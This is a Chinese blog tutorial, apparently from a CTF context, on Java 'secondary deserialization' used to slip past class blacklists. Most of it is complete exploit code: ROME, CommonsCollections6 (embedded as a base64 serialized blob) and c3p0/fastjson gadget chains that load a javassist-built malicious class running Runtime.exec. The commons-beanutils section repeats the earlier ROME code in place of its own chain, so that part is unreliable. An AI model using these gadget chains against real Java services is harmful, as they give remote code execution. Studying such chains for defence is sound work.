首页 > 其他分享 >从0到1的二次反序列化

从0到1的二次反序列化

时间:2024-04-10 19:35:08浏览次数:38  
标签:java HashMap 二次 obj import new 序列化 public

前言

简单介绍下二次反序列化,顾名思义,就是反序列化两次,其主要意义是绕过黑名单的限制或不出网利用,有些CTF题把一大堆关键类全都ban了,这就让人无从下手,二次反序列化就是为此而生的

SignedObject

原理

看构造函数,接受一个可序列化的对象,再进行一次序列化,简直不要太perfect

关注一下这个类的getObject方法,this.content可控,且进行了反序列化

简单的构造一个恶意的SignedObject

KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(恶意对象,kp.getPrivate(), Signature.getInstance("DSA"));

然后调用SignedObjectgetObject方法即可,现在的问题是去哪调用这个方法

rome链

ToStringBean

上篇文章刚讲过rome链,可以调用任意get方法,结合一下就能实现二次反序列化了

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.time.temporal.Temporal;
import java.util.HashMap;

public class toStringBean {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return ct;
    }
    public static HashMap getPayload(Class clazz, Object obj) {
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
        HashMap hashMap = new HashMap();
        hashMap.put(objectBean, "rand");
        return hashMap;
    }
    public static void Unser(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
    public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templatesImpl, "_name", "x");
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
        SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
        HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
        Unser(hashMap2);
    }
}

大概的流程是这样的:hashMap2:readObject()->signedObject:getObject->hashMap1:readObject

EqualsBean

rome的另一条链,通过euqals来触发

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Hashtable;

public class equalsBean {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return ct;
    }
    public static void Unser(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }

    public static Hashtable getPayload(Class clazz, Object obj) throws NoSuchFieldException, IllegalAccessException {
        EqualsBean bean = new EqualsBean(String.class, "s");
        HashMap map1 = new HashMap();
        HashMap map2 = new HashMap();
        map1.put("yy", bean);
        map1.put("zZ", obj);
        map2.put("zZ", bean);
        map2.put("yy", obj);
        Hashtable table = new Hashtable();
        table.put(map1, "1");
        table.put(map2, "2");
        setFieldValue(bean, "_beanClass", clazz);
        setFieldValue(bean, "_obj", obj);
        return table;
    }
    public static void main(String[] args) throws NoSuchAlgorithmException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, IOException, SignatureException, InvalidKeyException, ClassNotFoundException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templatesImpl, "_name", "x");
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        Hashtable table1 = getPayload(Templates.class, templatesImpl);
        SignedObject signedObject = new SignedObject(table1, kp.getPrivate(), Signature.getInstance("DSA"));
        Hashtable table2 = getPayload(SignedObject.class, signedObject);
        Unser(table2);
    }
}

虽然有报错,但没啥大影响

commons-beanutils链

回想以前学过的,还有什么能调用到getter呢?CB链中有个这个类BeanComparator

BeanComparator


很熟悉了

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.*;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.time.temporal.Temporal;
import java.util.HashMap;

public class toStringBean {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static CtClass getEvilClass() throws CannotCompileException, NotFoundException {
        ClassPool pool = ClassPool.getDefault();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass ct = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        ct.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        ct.setName(randomClassName);
        ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        return ct;
    }
    public static HashMap getPayload(Class clazz, Object obj) {
        ObjectBean objectBean = new ObjectBean(ToStringBean.class, new ToStringBean(clazz, obj));
        HashMap hashMap = new HashMap();
        hashMap.put(objectBean, "rand");
        return hashMap;
    }
    public static void Unser(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
    public static void main(String[] args) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException, NotFoundException, CannotCompileException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        TemplatesImpl templatesImpl = new TemplatesImpl();
        byte[][] bytes = new byte[][]{getEvilClass().toBytecode()};
        setFieldValue(templatesImpl, "_bytecodes", bytes);
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
        setFieldValue(templatesImpl, "_name", "x");
        KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
        kpg.initialize(1024);
        KeyPair kp = kpg.generateKeyPair();
        HashMap hashMap1 = getPayload(Templates.class, templatesImpl);
        SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
        HashMap hashMap2 = getPayload(SignedObject.class, signedObject);
        Unser(hashMap2);
    }
}

RMIConnector

这个类是javax.management下一个与远程 rmi 连接器的连接类,看findRMIServerJRMP这个方法,符合我们的需求

找谁调用了findRMIServerJRMP,类中方法findRMIServer调用了,不过得满足path.startsWith("/stub/")

继续往上找,类中方法connect调用了,jmxServiceURL是类中属性,可以通过反射修改,得满足rmiServer==null

这个构造方法刚好满足
给出构造形式:

JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);

现在想办法调用connect就行了

CC链

任意调用方法,CC链yyds,这里base64的是CC6的数据

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class rmiConnector {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field f = obj.getClass().getDeclaredField(fieldName);
        f.setAccessible(true);
        f.set(obj, value);
    }
    public static void Unser(Object obj) throws IOException, ClassNotFoundException {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(obj);
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setFieldValue(jmxServiceURL, "urlPath", "/stub/rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwcHNyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABHNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWVwdAARZ2V0RGVjbGFyZWRNZXRob2R1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ABtzcQB+ABJ1cQB+ABcAAAACcHB0AAZpbnZva2V1cQB+ABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAXc3EAfgASdXEAfgAXAAAAAXQABGNhbGN0AARleGVjdXEAfgAbAAAAAXEAfgAec3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHhweA==");
        RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
        InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
        Map<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, rmiConnector);
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put(tiedMapEntry, null);
        map.remove(rmiConnector);
        setFieldValue(lazymap, "factory", invokerTransformer);
        Unser(hashMap);
    }
}

WrapperConnectionPoolDataSource

WrapperConnectionPoolDataSource继承于WrapperConnectionPoolDataSourceBase,在WrapperConnectionPoolDataSourceBase中存在属性userOverridesAsString及其setter方法setUserOverridesAsString,触发fireVetoableChange事件处理

WrapperConnectionPoolDataSource中有个判断当其属性为userOverridesAsString时,将调用parseUserOverridesAsString方法

进入parseUserOverridesAsString方法,截取HexAsciiSerializedMap之后的内容,进入到fromByteArray

最后进入到deserializeFromByteArray中,进行二次反序列化

结合fastjson来exploit

{
    "rand1": {
        "@type": "java.lang.Class",
        "val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
    },
    "rand2": {
        "@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
        "userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
    }
}

hexstring就是我们的恶意类代码

结尾

二次反序列化到此为止,以后若有其它方式,再继续补充

标签:java,HashMap,二次,obj,import,new,序列化,public
From: https://www.cnblogs.com/F12-blog/p/18127214

相关文章

  • P9750 [CSP-J 2023] 一元二次方程 题解
    题面。直接依照题意模拟即可,注意细节。细节第一注意输出分式时分母为\(1\)不输出,分子为\(0\)直接输出零且不带正负号。第二约分时,\(gcd\)内的两个数应该都是非负实数。第三可以单独输出符号,注意别有多余的符号。第四当方程有两根且均是有理数时,要根据\(2a\)的正......
  • 有效提升Halcon二次开发调试效率的插件 HalconAssit
    HalconAssit开发背景:大家好,我是HalconAssit得作者。首先得解释下开发这款工具的得原因。作为视觉工程师,可以说Halcon大家应该或多或少都接触过。功能非常强大,算子非常全,开发的自由度也非常高,但是唯一的得缺点应该是GUI支持这块稍显欠缺。在我也c#做halcon二次开发的时候,发现......
  • java计算机毕业设计二次元信息分享平台(附源码+springboot+开题+论文+部署)
    本系统(程序+源码)带文档lw万字以上 文末可获取一份本项目的java源码和数据库参考。系统程序文件列表开题报告内容研究背景随着数字化时代的到来,二次元文化在全球范围内迅速崛起,成为年轻一代热衷的亚文化现象。二次元内容涵盖动漫、游戏、小说等多个领域,吸引了庞大的粉丝群......
  • 软工第二次任务-工作总结
    工作总结此次单元测试任务,最终顺利完成目标。但是在任务进行时,还是遇到了诸多困难,首先就是并未了解过自动化测试,对于如何编写测试框架时一窍不通。但是经过不断的摸索,还是顺利的进行了第一个代码测试,测试"HelloWord!",当然这个我认为也是进行了语句覆盖,而且代码简单到不需要自动......
  • 记一次php反序列化漏洞中的POPchain和POC构造实战
    来自于橙子科技反序列化靶场源代码如下:<?php//flagisinflag.phphighlight_file(__FILE__);error_reporting(0);classModifier{private$var;publicfunctionappend($value){include($value);echo$flag;}publicfunction......
  • Rome反序列化链分析
    环境搭建<dependencies><dependency><groupId>junit</groupId><artifactId>junit</artifactId><version>4.11</version><scope>test</scope></dependency><de......
  • antd popover组件二次封装children显示
    importReact,{PropsWithChildren}from'react';import'./index.scss';import{Popover}from'antd';exportinterfaceDictPopoverCompProps{open:boolean;keyWords:string;}//词库联想气泡constDictPopoverComp=(prop......
  • ROS笔记Day04----服务通信(实现排序--xxb第二次作业)
    一、服务通信简介服务通信是基于请求响应模式的,是一种应答机制。一个节点A向另一个节点B发送请求,B接收处理请求并产生响应结果返回给A。服务通信适用于实时性要求比较高的场景,例如设计一款自动搭讪机器人,每当摄像头检测到有搭讪目标出现,则摄像头这个节点就会向底盘......
  • 微信视频号api开发注意事项,微信号二次开发api
    简介#"VideosApi"是一个基于微信开放平台的二次封装API服务,旨在简化开发者与微信对接的流程。提供了丰富的功能API,包括好友管理、消息管理、群管理、朋友圈等,并且支持多开发语言接入。以及针对特定业务场景的定制化开发产品。开发原理:平台采用自研的RPA响应框架,避免了hook类......
  • WPS二次开发系列:Gradle版本、AGP插件与Java版本的对应关系
    背景最近有体验SDK的同学反馈接入SDK出现报错,最终定位到原因为接入的宿主app项目的gradle版本过低导致,SDK兼容支持了android11的特性,需要对应的gradle插件为支持android11的版本。现象解决方案将gradle版本升级至支持android11的插件版本即可,对此google官方的引文如下......